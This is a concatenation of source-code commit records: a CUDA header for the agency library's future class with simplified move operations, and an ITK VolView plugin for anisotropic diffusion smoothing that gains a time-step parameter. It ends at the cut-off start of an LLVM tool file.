<agency\/cuda\/detail\/workaround_unused_variable_warning.hpp>\n#include <agency\/future.hpp>\n#include <agency\/detail\/type_traits.hpp>\n#include <utility>\n#include <type_traits>\n\n\nnamespace agency\n{\nnamespace cuda\n{\nnamespace detail\n{\n\n\ntemplate<class T, class... Args>\nstruct is_constructible_or_void\n : std::integral_constant<\n bool,\n std::is_constructible<T,Args...>::value ||\n (std::is_void<T>::value && (sizeof...(Args) == 0))\n >\n{};\n\n\ntemplate<class T>\nstruct state_requires_storage\n : std::integral_constant<\n bool,\n std::is_empty<T>::value || std::is_void<T>::value || agency::detail::is_empty_tuple<T>::value\n >\n{};\n\n\n\/\/ XXX should maybe call this asynchronous_state to match the nomenclature of the std\ntemplate<class T,\n bool requires_storage = state_requires_storage<T>::value>\nclass future_state\n{\n public:\n __host__ __device__\n future_state() = default;\n\n template<class Arg1, class... Args,\n class = typename std::enable_if<\n std::is_constructible<T,Arg1,Args...>::value\n >::type\n >\n __host__ __device__\n future_state(cudaStream_t s, Arg1&& ready_arg1, Args&&... ready_args)\n : data_(make_unique<T>(s, std::forward<Arg1>(ready_arg1), std::forward<Args>(ready_args)...))\n {}\n\n __host__ __device__\n future_state(cudaStream_t s)\n : future_state(s, T{})\n {}\n\n __host__ __device__\n future_state(future_state&& other) : data_(std::move(other.data_)) {}\n\n __host__ __device__\n future_state& operator=(future_state&& other)\n {\n data_ = std::move(other.data_);\n return *this;\n }\n\n __host__ __device__\n T* data()\n {\n return data_.get();\n }\n\n __host__ __device__\n T get()\n {\n T result = std::move(*data_);\n\n data_.reset();\n\n return std::move(result);\n }\n\n __host__ __device__\n bool valid() const\n {\n return data_;\n }\n\n template<class... Args,\n class = typename std::enable_if<\n std::is_constructible<T,Args...>::value\n >::type>\n __host__ __device__\n void set_valid(cudaStream_t s, Args&&... ready_args)\n {\n data_ = make_unique<T>(s, std::forward<Args>(ready_args)...);\n }\n\n __host__ __device__\n void swap(future_state& other)\n {\n data_.swap(other.data_);\n }\n\n private:\n unique_ptr<T> data_;\n};\n\n\n\/\/ when a type is empty, we can create it on the fly upon dereference\ntemplate<class T>\nstruct empty_type_ptr : T\n{\n using element_type = T;\n\n __host__ __device__\n T& operator*()\n {\n return *this;\n }\n\n __host__ __device__\n const T& operator*() const\n {\n return *this;\n }\n};\n\ntemplate<>\nstruct empty_type_ptr<void> : unit_ptr {};\n\n\n\/\/ zero storage optimization\ntemplate<class T>\nclass future_state<T,true>\n{\n public:\n __host__ __device__\n future_state() : valid_(false) {}\n\n \/\/ constructs a valid state\n template<class U,\n class = typename std::enable_if<\n std::is_constructible<T,U>::value\n >::type>\n __host__ __device__\n future_state(cudaStream_t, U&&) : valid_(true) {}\n\n \/\/ constructs a valid state\n __host__ __device__\n future_state(cudaStream_t) : valid_(true) {}\n\n __host__ __device__\n future_state(future_state&& other) : valid_(false)\n {\n valid_ = other.valid_;\n other.valid_ = false;\n }\n\n \/\/ 1. allow moves to void states (this simply discards the state)\n \/\/ 2. allow moves to empty types if the type can be constructed from an empty argument list\n template<class U,\n class T1 = T,\n class = typename std::enable_if<\n std::is_void<T1>::value ||\n (std::is_empty<T>::value && std::is_void<U>::value && std::is_constructible<T>::value)\n >::type>\n __host__ __device__\n future_state(future_state<U>&& other)\n : valid_(other.valid())\n {\n if(valid())\n {\n \/\/ invalidate the old state by calling .get() if it was valid when we received it\n other.get();\n }\n }\n\n __host__ __device__\n future_state& operator=(future_state&& other)\n {\n valid_ = other.valid_;\n other.valid_ = false;\n\n return *this;\n }\n\n __host__ __device__\n empty_type_ptr<T> data()\n {\n return empty_type_ptr<T>();\n }\n\n __host__ __device__\n T get()\n {\n valid_ = false;\n\n return get_impl(std::is_void<T>());\n }\n\n __host__ __device__\n bool valid() const\n {\n return valid_;\n }\n\n \/\/ constructor arguments are simply ignored\n \/\/ XXX if the constructor has a side effect, we probably need to actually invoke it, even though\n \/\/ the type has no state and requires no storage\n template<class... Args>\n __host__ __device__\n void set_valid(cudaStream_t, Args&&...)\n {\n valid_ = true;\n }\n\n __host__ __device__\n void swap(future_state& other)\n {\n bool other_valid_old = other.valid_;\n other.valid_ = valid_;\n valid_ = other_valid_old;\n }\n\n private:\n __host__ __device__\n static T get_impl(std::false_type)\n {\n return T{};\n }\n\n __host__ __device__\n static T get_impl(std::true_type)\n {\n return;\n }\n\n bool valid_;\n};\n\n\n\/\/ declare this so future may befriend it\ntemplate<class Shape, class Index, class ThisIndexFunction>\nclass basic_grid_executor;\n\n\n} \/\/ end detail\n\n\ntemplate<typename T>\nclass future\n{\n private:\n cudaStream_t stream_;\n cudaEvent_t event_;\n detail::future_state<T> state_;\n\n public:\n \/\/ XXX this should be private\n __host__ __device__\n future(cudaStream_t s) : future(s, 0) {}\n\n \/\/ XXX stream_ should default to per-thread default stream\n __host__ __device__\n future() : future(0) {}\n\n __host__ __device__\n future(future&& other)\n : future()\n {\n future::swap(stream_, other.stream_);\n future::swap(event_, other.event_);\n state_.swap(other.state_);\n } \/\/ end future()\n\n __host__ __device__\n future &operator=(future&& other)\n {\n future::swap(stream_, other.stream_);\n future::swap(event_, other.event_);\n future::swap(state_, other.state_);\n return *this;\n } \/\/ end operator=()\n\n template<class U,\n class = typename std::enable_if<\n std::is_constructible<\n detail::future_state<T>,\n detail::future_state<U>&&\n >::value\n >::type>\n __host__ __device__\n future(future<U>&& other)\n : stream_(),\n event_(),\n state_(std::move(other.state_))\n {\n future::swap(stream_, other.stream_);\n future::swap(event_, other.event_);\n } \/\/ end future()\n\n __host__ __device__\n ~future()\n {\n if(valid())\n {\n destroy_event();\n } \/\/ end if\n } \/\/ end ~future()\n\n __host__ __device__\n void wait() const\n {\n \/\/ XXX should probably check for valid() here\n\n#if __cuda_lib_has_cudart\n\n#ifndef __CUDA_ARCH__\n \/\/ XXX need to capture the error as an exception and then throw it in .get()\n detail::throw_on_error(cudaEventSynchronize(event_), \"cudaEventSynchronize in agency::cuda<void>::future::wait\");\n#else\n \/\/ XXX need to capture the error as an exception and then throw it in .get()\n detail::throw_on_error(cudaDeviceSynchronize(), \"cudaDeviceSynchronize in agency::cuda<void>::future::wait\");\n#endif \/\/ __CUDA_ARCH__\n\n#else\n detail::terminate_with_message(\"agency::cuda::future<void>::wait() requires CUDART\");\n#endif \/\/ __cuda_lib_has_cudart\n } \/\/ end wait()\n\n __host__ __device__\n T get()\n {\n wait();\n\n return state_.get();\n } \/\/ end get()\n\n __host__ __device__\n bool valid() const\n {\n return (event_ != 0) && state_.valid();\n } \/\/ end valid()\n\n __host__ __device__\n cudaEvent_t event() const\n {\n return event_;\n } \/\/ end event()\n\n __host__ __device__\n cudaStream_t stream() const\n {\n return stream_;\n } \/\/ end stream()\n\n template<class... Args,\n class = typename std::enable_if<\n detail::is_constructible_or_void<T,Args...>::value\n >::type>\n __host__ __device__\n static future make_ready(Args&&... args)\n {\n cudaEvent_t ready_event = 0;\n\n#if __cuda_lib_has_cudart\n detail::throw_on_error(cudaEventCreateWithFlags(&ready_event, event_create_flags), \"cudaEventCreateWithFlags in agency::cuda::future<void>::make_ready\");\n#else\n detail::terminate_with_message(\"agency::cuda::future<void>::make_ready() requires CUDART\");\n#endif\n\n future result;\n result.set_valid(ready_event, std::forward<Args>(args)...);\n\n return result;\n }\n\n \/\/ XXX this is only used by grid_executor::then_execute()\n __host__ __device__\n auto data() -> decltype(state_.data())\n {\n return state_.data();\n }\n\n template<class Function>\n __host__ __device__\n future<agency::detail::result_of_continuation_t<Function,future>>\n then(Function f)\n {\n \/\/ create state for the continuation's result\n using result_type = agency::detail::result_of_continuation_t<Function,future>;\n detail::future_state<result_type> result_state(stream());\n\n \/\/ get a pointer to the continuation's kernel\n using result_ptr_type = decltype(result_state.data());\n using arg_ptr_type = decltype(data());\n void (*kernel_ptr)(result_ptr_type, Function, arg_ptr_type) = detail::then_kernel<result_ptr_type, Function, arg_ptr_type>;\n detail::workaround_unused_variable_warning(kernel_ptr);\n\n \/\/ launch the continuation\n cudaEvent_t next_event = detail::checked_launch_kernel_after_event_returning_next_event(reinterpret_cast<void*>(kernel_ptr), dim3{1}, dim3{1}, 0, stream(), event(), result_state.data(), f, data());\n\n \/\/ this future's event is no longer usable\n \/\/ note this invalidates this future\n destroy_event();\n\n \/\/ return the continuation's future\n return future<result_type>(stream(), next_event, std::move(result_state));\n }\n\n \/\/ XXX set_valid() should only be available to friends\n \/\/ such as future<U> and grid_executor\n template<class... Args,\n class = typename std::enable_if<\n detail::is_constructible_or_void<T,Args...>::value\n >::type>\n __host__ __device__\n void set_valid(cudaEvent_t e, Args&&... args)\n {\n event_ = e;\n state_.set_valid(stream(), std::forward<Args>(args)...);\n }\n\n private:\n template<class U> friend class future;\n template<class Shape, class Index, class ThisIndexFunction> friend class agency::cuda::detail::basic_grid_executor;\n\n __host__ __device__\n future(cudaStream_t s, cudaEvent_t e, detail::future_state<T>&& state)\n : stream_(s), event_(e), state_(std::move(state))\n {}\n\n template<class... Args,\n class = typename std::enable_if<\n detail::is_constructible_or_void<T,Args...>::value\n >::type>\n __host__ __device__\n future(cudaStream_t s, cudaEvent_t e, Args&&... ready_args)\n : future(s, e, detail::future_state<T>(s, std::forward<Args>(ready_args)...))\n {}\n\n \/\/ implement swap to avoid depending on thrust::swap\n template<class U>\n __host__ __device__\n static void swap(U& a, U& b)\n {\n U tmp{a};\n a = b;\n b = tmp;\n }\n\n static const int event_create_flags = cudaEventDisableTiming;\n\n __host__ __device__\n void destroy_event()\n {\n#if __cuda_lib_has_cudart\n \/\/ since this will likely be called from destructors, swallow errors\n cudaError_t e = cudaEventDestroy(event_);\n event_ = 0;\n\n#if __cuda_lib_has_printf\n if(e)\n {\n printf(\"CUDA error after cudaEventDestroy in agency::cuda::future<void> dtor: %s\", cudaGetErrorString(e));\n } \/\/ end if\n#endif \/\/ __cuda_lib_has_printf\n#endif \/\/ __cuda_lib_has_cudart\n }\n};\n\n\ninline __host__ __device__\nfuture<void> make_ready_future()\n{\n return future<void>::make_ready();\n} \/\/ end make_ready_future()\n\n\ntemplate<class T>\ninline __host__ __device__\nfuture<typename std::decay<T>::type> make_ready_future(T&& value)\n{\n return future<typename std::decay<T>::type>::make_ready(std::forward<T>(value));\n} \/\/ end make_ready_future()\n\n\n} \/\/ end namespace cuda\n} \/\/ end namespace agency\n\n<commit_msg>Simplify some of future_state's members<commit_after>\/*\n * Copyright 2008-2013 NVIDIA Corporation\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <agency\/detail\/config.hpp>\n#include <agency\/cuda\/detail\/feature_test.hpp>\n#include <agency\/cuda\/detail\/terminate.hpp>\n#include <agency\/cuda\/detail\/unique_ptr.hpp>\n#include <agency\/cuda\/detail\/then_kernel.hpp>\n#include <agency\/cuda\/detail\/launch_kernel.hpp>\n#include <agency\/cuda\/detail\/workaround_unused_variable_warning.hpp>\n#include <agency\/future.hpp>\n#include <agency\/detail\/type_traits.hpp>\n#include <utility>\n#include <type_traits>\n\n\nnamespace agency\n{\nnamespace cuda\n{\nnamespace detail\n{\n\n\ntemplate<class T, class... Args>\nstruct is_constructible_or_void\n : std::integral_constant<\n bool,\n std::is_constructible<T,Args...>::value ||\n (std::is_void<T>::value && (sizeof...(Args) == 0))\n >\n{};\n\n\ntemplate<class T>\nstruct state_requires_storage\n : std::integral_constant<\n bool,\n std::is_empty<T>::value || std::is_void<T>::value || agency::detail::is_empty_tuple<T>::value\n >\n{};\n\n\n\/\/ XXX should maybe call this asynchronous_state to match the nomenclature of the std\ntemplate<class T,\n bool requires_storage = state_requires_storage<T>::value>\nclass future_state\n{\n public:\n __host__ __device__\n future_state() = default;\n\n template<class Arg1, class... Args,\n class = typename std::enable_if<\n std::is_constructible<T,Arg1,Args...>::value\n >::type\n >\n __host__ __device__\n future_state(cudaStream_t s, Arg1&& ready_arg1, Args&&... ready_args)\n : data_(make_unique<T>(s, std::forward<Arg1>(ready_arg1), std::forward<Args>(ready_args)...))\n {}\n\n __host__ __device__\n future_state(cudaStream_t s)\n : future_state(s, T{})\n {}\n\n __host__ __device__\n future_state(future_state&& other) = default;\n\n __host__ __device__\n future_state& operator=(future_state&&) = default;\n\n __host__ __device__\n T* data()\n {\n return data_.get();\n }\n\n __host__ __device__\n T get()\n {\n T result = std::move(*data_);\n\n data_.reset();\n\n return std::move(result);\n }\n\n __host__ __device__\n bool valid() const\n {\n return data_;\n }\n\n template<class... Args,\n class = typename std::enable_if<\n std::is_constructible<T,Args...>::value\n >::type>\n __host__ __device__\n void set_valid(cudaStream_t s, Args&&... ready_args)\n {\n data_ = make_unique<T>(s, std::forward<Args>(ready_args)...);\n }\n\n __host__ __device__\n void swap(future_state& other)\n {\n data_.swap(other.data_);\n }\n\n private:\n unique_ptr<T> data_;\n};\n\n\n\/\/ when a type is empty, we can create it on the fly upon dereference\ntemplate<class T>\nstruct empty_type_ptr : T\n{\n using element_type = T;\n\n __host__ __device__\n T& operator*()\n {\n return *this;\n }\n\n __host__ __device__\n const T& operator*() const\n {\n return *this;\n }\n};\n\ntemplate<>\nstruct empty_type_ptr<void> : unit_ptr {};\n\n\n\/\/ zero storage optimization\ntemplate<class T>\nclass future_state<T,true>\n{\n public:\n __host__ __device__\n future_state() : valid_(false) {}\n\n \/\/ constructs a valid state\n template<class U,\n class = typename std::enable_if<\n std::is_constructible<T,U>::value\n >::type>\n __host__ __device__\n future_state(cudaStream_t, U&&) : valid_(true) {}\n\n \/\/ constructs a valid state\n __host__ __device__\n future_state(cudaStream_t) : valid_(true) {}\n\n __host__ __device__\n future_state(future_state&& other) : valid_(other.valid_)\n {\n other.valid_ = false;\n }\n\n \/\/ 1. allow moves to void states (this simply discards the state)\n \/\/ 2. allow moves to empty types if the type can be constructed from an empty argument list\n template<class U,\n class T1 = T,\n class = typename std::enable_if<\n std::is_void<T1>::value ||\n (std::is_empty<T>::value && std::is_void<U>::value && std::is_constructible<T>::value)\n >::type>\n __host__ __device__\n future_state(future_state<U>&& other)\n : valid_(other.valid())\n {\n if(valid())\n {\n \/\/ invalidate the old state by calling .get() if it was valid when we received it\n other.get();\n }\n }\n\n __host__ __device__\n future_state& operator=(future_state&& other)\n {\n valid_ = other.valid_;\n other.valid_ = false;\n\n return *this;\n }\n\n __host__ __device__\n empty_type_ptr<T> data()\n {\n return empty_type_ptr<T>();\n }\n\n __host__ __device__\n T get()\n {\n valid_ = false;\n\n return get_impl(std::is_void<T>());\n }\n\n __host__ __device__\n bool valid() const\n {\n return valid_;\n }\n\n \/\/ constructor arguments are simply ignored\n \/\/ XXX if the constructor has a side effect, we probably need to actually invoke it, even though\n \/\/ the type has no state and requires no storage\n template<class... Args>\n __host__ __device__\n void set_valid(cudaStream_t, Args&&...)\n {\n valid_ = true;\n }\n\n __host__ __device__\n void swap(future_state& other)\n {\n bool other_valid_old = other.valid_;\n other.valid_ = valid_;\n valid_ = other_valid_old;\n }\n\n private:\n __host__ __device__\n static T get_impl(std::false_type)\n {\n return T{};\n }\n\n __host__ __device__\n static T get_impl(std::true_type)\n {\n return;\n }\n\n bool valid_;\n};\n\n\n\/\/ declare this so future may befriend it\ntemplate<class Shape, class Index, class ThisIndexFunction>\nclass basic_grid_executor;\n\n\n} \/\/ end detail\n\n\ntemplate<typename T>\nclass future\n{\n private:\n cudaStream_t stream_;\n cudaEvent_t event_;\n detail::future_state<T> state_;\n\n public:\n \/\/ XXX this should be private\n __host__ __device__\n future(cudaStream_t s) : future(s, 0) {}\n\n \/\/ XXX stream_ should default to per-thread default stream\n __host__ __device__\n future() : future(0) {}\n\n __host__ __device__\n future(future&& other)\n : future()\n {\n future::swap(stream_, other.stream_);\n future::swap(event_, other.event_);\n state_.swap(other.state_);\n } \/\/ end future()\n\n __host__ __device__\n future &operator=(future&& other)\n {\n future::swap(stream_, other.stream_);\n future::swap(event_, other.event_);\n future::swap(state_, other.state_);\n return *this;\n } \/\/ end operator=()\n\n template<class U,\n class = typename std::enable_if<\n std::is_constructible<\n detail::future_state<T>,\n detail::future_state<U>&&\n >::value\n >::type>\n __host__ __device__\n future(future<U>&& other)\n : stream_(),\n event_(),\n state_(std::move(other.state_))\n {\n future::swap(stream_, other.stream_);\n future::swap(event_, other.event_);\n } \/\/ end future()\n\n __host__ __device__\n ~future()\n {\n if(valid())\n {\n destroy_event();\n } \/\/ end if\n } \/\/ end ~future()\n\n __host__ __device__\n void wait() const\n {\n \/\/ XXX should probably check for valid() here\n\n#if __cuda_lib_has_cudart\n\n#ifndef __CUDA_ARCH__\n \/\/ XXX need to capture the error as an exception and then throw it in .get()\n detail::throw_on_error(cudaEventSynchronize(event_), \"cudaEventSynchronize in agency::cuda<void>::future::wait\");\n#else\n \/\/ XXX need to capture the error as an exception and then throw it in .get()\n detail::throw_on_error(cudaDeviceSynchronize(), \"cudaDeviceSynchronize in agency::cuda<void>::future::wait\");\n#endif \/\/ __CUDA_ARCH__\n\n#else\n detail::terminate_with_message(\"agency::cuda::future<void>::wait() requires CUDART\");\n#endif \/\/ __cuda_lib_has_cudart\n } \/\/ end wait()\n\n __host__ __device__\n T get()\n {\n wait();\n\n return state_.get();\n } \/\/ end get()\n\n __host__ __device__\n bool valid() const\n {\n return (event_ != 0) && state_.valid();\n } \/\/ end valid()\n\n __host__ __device__\n cudaEvent_t event() const\n {\n return event_;\n } \/\/ end event()\n\n __host__ __device__\n cudaStream_t stream() const\n {\n return stream_;\n } \/\/ end stream()\n\n template<class... Args,\n class = typename std::enable_if<\n detail::is_constructible_or_void<T,Args...>::value\n >::type>\n __host__ __device__\n static future make_ready(Args&&... args)\n {\n cudaEvent_t ready_event = 0;\n\n#if __cuda_lib_has_cudart\n detail::throw_on_error(cudaEventCreateWithFlags(&ready_event, event_create_flags), \"cudaEventCreateWithFlags in agency::cuda::future<void>::make_ready\");\n#else\n detail::terminate_with_message(\"agency::cuda::future<void>::make_ready() requires CUDART\");\n#endif\n\n future result;\n result.set_valid(ready_event, std::forward<Args>(args)...);\n\n return result;\n }\n\n \/\/ XXX this is only used by grid_executor::then_execute()\n __host__ __device__\n auto data() -> decltype(state_.data())\n {\n return state_.data();\n }\n\n template<class Function>\n __host__ __device__\n future<agency::detail::result_of_continuation_t<Function,future>>\n then(Function f)\n {\n \/\/ create state for the continuation's result\n using result_type = agency::detail::result_of_continuation_t<Function,future>;\n detail::future_state<result_type> result_state(stream());\n\n \/\/ get a pointer to the continuation's kernel\n using result_ptr_type = decltype(result_state.data());\n using arg_ptr_type = decltype(data());\n void (*kernel_ptr)(result_ptr_type, Function, arg_ptr_type) = detail::then_kernel<result_ptr_type, Function, arg_ptr_type>;\n detail::workaround_unused_variable_warning(kernel_ptr);\n\n \/\/ launch the continuation\n cudaEvent_t next_event = detail::checked_launch_kernel_after_event_returning_next_event(reinterpret_cast<void*>(kernel_ptr), dim3{1}, dim3{1}, 0, stream(), event(), result_state.data(), f, data());\n\n \/\/ this future's event is no longer usable\n \/\/ note this invalidates this future\n destroy_event();\n\n \/\/ return the continuation's future\n return future<result_type>(stream(), next_event, std::move(result_state));\n }\n\n \/\/ XXX set_valid() should only be available to friends\n \/\/ such as future<U> and grid_executor\n template<class... Args,\n class = typename std::enable_if<\n detail::is_constructible_or_void<T,Args...>::value\n >::type>\n __host__ __device__\n void set_valid(cudaEvent_t e, Args&&... args)\n {\n event_ = e;\n state_.set_valid(stream(), std::forward<Args>(args)...);\n }\n\n private:\n template<class U> friend class future;\n template<class Shape, class Index, class ThisIndexFunction> friend class agency::cuda::detail::basic_grid_executor;\n\n __host__ __device__\n future(cudaStream_t s, cudaEvent_t e, detail::future_state<T>&& state)\n : stream_(s), event_(e), state_(std::move(state))\n {}\n\n template<class... Args,\n class = typename std::enable_if<\n detail::is_constructible_or_void<T,Args...>::value\n >::type>\n __host__ __device__\n future(cudaStream_t s, cudaEvent_t e, Args&&... ready_args)\n : future(s, e, detail::future_state<T>(s, std::forward<Args>(ready_args)...))\n {}\n\n \/\/ implement swap to avoid depending on thrust::swap\n template<class U>\n __host__ __device__\n static void swap(U& a, U& b)\n {\n U tmp{a};\n a = b;\n b = tmp;\n }\n\n static const int event_create_flags = cudaEventDisableTiming;\n\n __host__ __device__\n void destroy_event()\n {\n#if __cuda_lib_has_cudart\n \/\/ since this will likely be called from destructors, swallow errors\n cudaError_t e = cudaEventDestroy(event_);\n event_ = 0;\n\n#if __cuda_lib_has_printf\n if(e)\n {\n printf(\"CUDA error after cudaEventDestroy in agency::cuda::future<void> dtor: %s\", cudaGetErrorString(e));\n } \/\/ end if\n#endif \/\/ __cuda_lib_has_printf\n#endif \/\/ __cuda_lib_has_cudart\n }\n};\n\n\ninline __host__ __device__\nfuture<void> make_ready_future()\n{\n return future<void>::make_ready();\n} \/\/ end make_ready_future()\n\n\n} \/\/ end namespace cuda\n} \/\/ end namespace agency\n\n<|endoftext|>"} {"text":"<commit_before>\/* perform smoothing using an anisotropic diffusion filter *\/\n\n#include \"itkVVFilterModule.h\"\n\n#include \"itkGradientAnisotropicDiffusionImageFilter.h\"\n\nstatic int ProcessData(void *inf, vtkVVProcessDataStruct *pds)\n{\n\n vtkVVPluginInfo *info = (vtkVVPluginInfo *)inf;\n\n const unsigned int Dimension = 3;\n\n typedef float InternalPixelType;\n typedef itk::Image< InternalPixelType,Dimension > InternalImageType; \n\n typedef itk::GradientAnisotropicDiffusionImageFilter< \n InternalImageType, \n InternalImageType > FilterType;\n \n try \n {\n switch( info->InputVolumeScalarType )\n {\n case VTK_UNSIGNED_CHAR:\n {\n FilterModule< unsigned char, FilterType > module;\n module.SetPlugInfo( info );\n module.SetUpdateMessage(\"Smoothing with Gradient Anisotropic Diffusion...\");\n \/\/ Set the parameters on it\n module.GetFilter()->SetIterations( atoi( info->GUIItems[ 0 ].CurrentValue) );\n module.GetFilter()->SetConductanceParameter( atof( info->GUIItems[ 1 ].CurrentValue) );\n module.SetNeedCasting( true );\n \/\/ Execute the filter\n module.ProcessData( pds );\n break; \n }\n case VTK_UNSIGNED_SHORT:\n {\n FilterModule< unsigned short, FilterType > module;\n module.SetPlugInfo( info );\n module.SetUpdateMessage(\"Smoothing with Gradient Anisotropic Diffusion...\");\n \/\/ Set the parameters on it\n module.GetFilter()->SetIterations( atoi( info->GUIItems[ 0 ].CurrentValue) );\n module.GetFilter()->SetConductanceParameter( atof( info->GUIItems[ 1 ].CurrentValue) );\n module.SetNeedCasting( true );\n \/\/ Execute the filter\n module.ProcessData( pds );\n break; \n }\n }\n }\n catch( itk::ExceptionObject & except )\n {\n info->DisplayError( info, except.what() ); \n return -1;\n }\n return 0;\n}\n\n\nstatic int UpdateGUI(void *inf)\n{\n vtkVVPluginInfo *info = (vtkVVPluginInfo *)inf;\n\n info->GUIItems[0].Label = \"Number of Iterations\";\n info->GUIItems[0].GUIType = VV_GUI_SCALE;\n info->GUIItems[0].Default = \"5\";\n info->GUIItems[0].Help = \"Number of times that the diffusion approximation will be computed. The more iterations, the stronger the smoothing\";\n info->GUIItems[0].Hints = \"1 100 1\";\n\n info->GUIItems[1].Label = \"Conductance\";\n info->GUIItems[1].GUIType = VV_GUI_SCALE;\n info->GUIItems[1].Default = \"3.0\";\n info->GUIItems[1].Help = \"Factor that multiplies the image gradient in order to compute the effective conductance locally. The higher the value of this parameter, the stronger the diffusion will be\";\n info->GUIItems[1].Hints = \"0.1 10.0 0.1\";\n\n info->RequiredZOverlap = 0;\n \n info->OutputVolumeScalarType = info->InputVolumeScalarType;\n info->OutputVolumeNumberOfComponents = \n info->InputVolumeNumberOfComponents;\n memcpy(info->OutputVolumeDimensions,info->InputVolumeDimensions,\n 3*sizeof(int));\n memcpy(info->OutputVolumeSpacing,info->InputVolumeSpacing,\n 3*sizeof(float));\n memcpy(info->OutputVolumeOrigin,info->InputVolumeOrigin,\n 3*sizeof(float));\n\n return 1;\n}\n\nextern \"C\" {\n \nvoid VV_PLUGIN_EXPORT vvGradientAnisotropicDiffusionInit(vtkVVPluginInfo *info)\n{\n \/\/ setup information that never changes\n info->ProcessData = ProcessData;\n info->UpdateGUI = UpdateGUI;\n info->Name = \"Gradient Anisotropic Diffusion\";\n info->TerseDocumentation = \"Anisotropic diffusion smoothing\";\n info->FullDocumentation = \n \"This filter applies an edge-preserving smoothing to a volume by computing the evolution of an anisotropic diffusion partial differential equation. Diffusion is regulated by the gradient of the image. This filter processes the whole image in one piece, and does not change the dimensions, data type, or spacing of the volume.\";\n info->SupportsInPlaceProcessing = 0;\n info->SupportsProcessingPieces = 0;\n info->RequiredZOverlap = 0;\n \n \/* setup the GUI components *\/\n info->NumberOfGUIItems = 2;\n info->GUIItems = (vtkVVGUIItem *)malloc(info->NumberOfGUIItems*sizeof(vtkVVGUIItem));\n}\n\n}\n<commit_msg>ENH: TimeStep parameter is back after confirmation from Josh that the parameter is still needed.<commit_after>\/* perform smoothing using an anisotropic diffusion filter *\/\n\n#include \"itkVVFilterModule.h\"\n\n#include \"itkGradientAnisotropicDiffusionImageFilter.h\"\n\nstatic int ProcessData(void *inf, vtkVVProcessDataStruct *pds)\n{\n\n vtkVVPluginInfo *info = (vtkVVPluginInfo *)inf;\n\n const unsigned int Dimension = 3;\n\n typedef float InternalPixelType;\n typedef itk::Image< InternalPixelType,Dimension > InternalImageType; \n\n typedef itk::GradientAnisotropicDiffusionImageFilter< \n InternalImageType, \n InternalImageType > FilterType;\n \n try \n {\n switch( info->InputVolumeScalarType )\n {\n case VTK_UNSIGNED_CHAR:\n {\n FilterModule< unsigned char, FilterType > module;\n module.SetPlugInfo( info );\n module.SetUpdateMessage(\"Smoothing with Gradient Anisotropic Diffusion...\");\n \/\/ Set the parameters on it\n module.GetFilter()->SetIterations( atoi( info->GUIItems[ 0 ].CurrentValue) );\n module.GetFilter()->SetTimeStep( atof( info->GUIItems[ 1 ].CurrentValue) );\n module.GetFilter()->SetConductanceParameter( atof( info->GUIItems[ 2 ].CurrentValue) );\n module.SetNeedCasting( true );\n \/\/ Execute the filter\n module.ProcessData( pds );\n break; \n }\n case VTK_UNSIGNED_SHORT:\n {\n FilterModule< unsigned short, FilterType > module;\n module.SetPlugInfo( info );\n module.SetUpdateMessage(\"Smoothing with Gradient Anisotropic Diffusion...\");\n \/\/ Set the parameters on it\n module.GetFilter()->SetIterations( atoi( info->GUIItems[ 0 ].CurrentValue) );\n module.GetFilter()->SetTimeStep( atof( info->GUIItems[ 1 ].CurrentValue) );\n module.GetFilter()->SetConductanceParameter( atof( info->GUIItems[ 2 ].CurrentValue) );\n module.SetNeedCasting( true );\n \/\/ Execute the filter\n module.ProcessData( pds );\n break; \n }\n }\n }\n catch( itk::ExceptionObject & except )\n {\n info->DisplayError( info, except.what() ); \n return -1;\n }\n return 0;\n}\n\n\nstatic int UpdateGUI(void *inf)\n{\n vtkVVPluginInfo *info = (vtkVVPluginInfo *)inf;\n\n info->GUIItems[0].Label = \"Number of Iterations\";\n info->GUIItems[0].GUIType = VV_GUI_SCALE;\n info->GUIItems[0].Default = \"5\";\n info->GUIItems[0].Help = \"Number of times that the diffusion approximation will be computed. The more iterations, the stronger the smoothing\";\n info->GUIItems[0].Hints = \"1 100 1\";\n\n info->GUIItems[1].Label = \"Time Step\";\n info->GUIItems[1].GUIType = VV_GUI_SCALE;\n info->GUIItems[1].Default = \"0.125\";\n info->GUIItems[1].Help = \"Discretization of time for approximating the diffusion process.\";\n info->GUIItems[1].Hints = \"0.01 1.0 0.005\";\n\n info->GUIItems[2].Label = \"Conductance\";\n info->GUIItems[2].GUIType = VV_GUI_SCALE;\n info->GUIItems[2].Default = \"3.0\";\n info->GUIItems[2].Help = \"Factor that multiplies the image gradient in order to compute the effective conductance locally. The higher the value of this parameter, the stronger the diffusion will be\";\n info->GUIItems[2].Hints = \"0.1 10.0 0.1\";\n\n info->RequiredZOverlap = 0;\n \n info->OutputVolumeScalarType = info->InputVolumeScalarType;\n info->OutputVolumeNumberOfComponents = \n info->InputVolumeNumberOfComponents;\n memcpy(info->OutputVolumeDimensions,info->InputVolumeDimensions,\n 3*sizeof(int));\n memcpy(info->OutputVolumeSpacing,info->InputVolumeSpacing,\n 3*sizeof(float));\n memcpy(info->OutputVolumeOrigin,info->InputVolumeOrigin,\n 3*sizeof(float));\n\n return 1;\n}\n\nextern \"C\" {\n \nvoid VV_PLUGIN_EXPORT vvGradientAnisotropicDiffusionInit(vtkVVPluginInfo *info)\n{\n \/\/ setup information that never changes\n info->ProcessData = ProcessData;\n info->UpdateGUI = UpdateGUI;\n info->Name = \"Gradient Anisotropic Diffusion\";\n info->TerseDocumentation = \"Anisotropic diffusion smoothing\";\n info->FullDocumentation = \n \"This filter applies an edge-preserving smoothing to a volume by computing the evolution of an anisotropic diffusion partial differential equation. Diffusion is regulated by the gradient of the image. This filter processes the whole image in one piece, and does not change the dimensions, data type, or spacing of the volume.\";\n info->SupportsInPlaceProcessing = 0;\n info->SupportsProcessingPieces = 0;\n info->RequiredZOverlap = 0;\n \n \/* setup the GUI components *\/\n info->NumberOfGUIItems = 3;\n info->GUIItems = (vtkVVGUIItem *)malloc(info->NumberOfGUIItems*sizeof(vtkVVGUIItem));\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/===--- Dexp.cpp - Dex EXPloration tool ------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the 